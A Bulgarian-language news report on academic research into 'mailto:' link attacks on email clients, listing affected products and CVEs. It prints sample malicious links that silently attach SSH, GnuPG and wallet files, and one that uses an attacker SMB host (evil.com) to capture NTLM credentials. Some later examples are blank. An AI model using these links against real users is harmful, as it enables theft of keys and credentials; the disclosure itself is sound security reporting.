Атака на потребители на имейл клиенти с помощта на връзки «mailto:»

Изследователи от Рурския университет в Бохум (Германия) анализираха (PDF) поведението на имейл клиентите при обработка на „mailto:“ връзки с разширени параметри. Пет от двадесет разгледани имейл клиенти се оказали уязвими към атака, манипулираща инжекция на ресурси чрез параметъра „attach“. Шестимата имейл клиента бяха изложени на атаки за замяна на PGP и S/MIME ключове, а тримата клиента се оказаха уязвими на атака за извличане на съдържанието на криптирани съобщения.

Връзките „mailto:“ се използват за автоматизация на отварянето на имейл клиент с цел написване на писмо на адресата посочен в връзката. Освен адреса, в състава на връзката могат да бъдат указани допълнителни параметри, като темата на писмото и шаблон на стандартно съдържание. Предложената атака манипулира параметъра „attach“, който позволява прикрепяне на файл към създаденото писмо.

Имейл клиентите Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) и Pegasus Mail се оказаха уязвими на тривиална атака, която позволява автоматически прикрепяне на който и да е локален файл, указан чрез връзка от вида „mailto:?attach=път_к_файла“. Файлът се прикрепя без да излиза предупреждение, така че без специално внимание потребителят може да не забележи, че съобщението ще бъде изпратено с прикрепено съдържание.

Например, чрез връзка от вида „mailto:?to=user@example.com&subject=Title&body=Text&attach=~/.gnupg/secring.gpg“ може да се вмъкнат затворени ключове от GnuPG в писмото. Също така е възможно да се изпрати съдържанието на криптокошници (~/.bitcoin/wallet.dat), SSH-ключове (~/.ssh/id_rsa) и всякакви достъпни за потребителя файлове. Освен това, Thunderbird позволява прикрепянето на групи файлове по маска чрез конструкции от вида „attach=/tmp/*.txt“.

Освен локалните файлове, някои имейл клиенти обработват връзки към мрежови хранилища и пътища в IMAP сървъра. В частност, IBM Notes позволява предаване на файл от мрежов каталог при обработка на връзки от вида „attach=\\evil.com\dummyfile“, а също така да се прихващат параметрите за удостоверяване NTLM, като се насочи връзка към SMB-сървър, контролируем от нападателя (запросът ще бъде изпратен с текущите удостоверителни данни на потребителя).

Thunderbird успешно обработва queries в вида „attach=imap:///fetch>UID>/INBOX>1/“, позволяващи прикачване на съдържание от папки на IMAP сървъра. При това, извлечените от IMAP имейли, криптирани с OpenPGP и S/MIME, автоматично се декриптират от имейл клиента преди изпращане. Разработчиците на Thunderbird бяха уведомени за проблема през февруари и в изданието Thunderbird 78 проблемът вече е отстранен (клоновете Thunderbird 52, 60 и 68 остават уязвими).

Старите версии на Thunderbird се оказаха уязвими и за два други варианта на атаки срещу PGP и S/MIME, предложени от изследователите. По-специално, атаката за замяна на ключове, която засегна както Thunderbird, така и OutLook, PostBox, eM Client, MailMate и R2Mail2, позволи на атакуващия да замени вече запазените от потребителя открити ключове, тъй като имейл клиентът автоматично импортира и инсталира нови сертификати, предавани в S/MIME съобщения.

Втората атака, на която са подложени Thunderbird, PostBox и MailMate, манипулира особеностите на механизма за автоматично запазване на чернови на съобщения и позволява с помощта на параметри mailto да иницира декриптиране на криптирани съобщения или добавяне на цифров подпис за произволни съобщения, с последваща предаване на резултата на IMAP сървъра на атакуващия. Шифротекстът в тази атака се предава чрез параметър „body“, а за иницииране на заявка към IMAP сървъра на атакуващия се използва таг „meta refresh“. Например: ‘’

За автоматична обработка на линкове „mailto:“ без участие на потребителя могат да се използват специално оформени PDF документи – действието OpenAction в PDF позволява автоматично стартиране на обработчика mailto при отваряне на документа:

%PDF-1.5
1 0 obj
<>
endobj

2 0 obj
<>
endobj

Източник: opennet.ru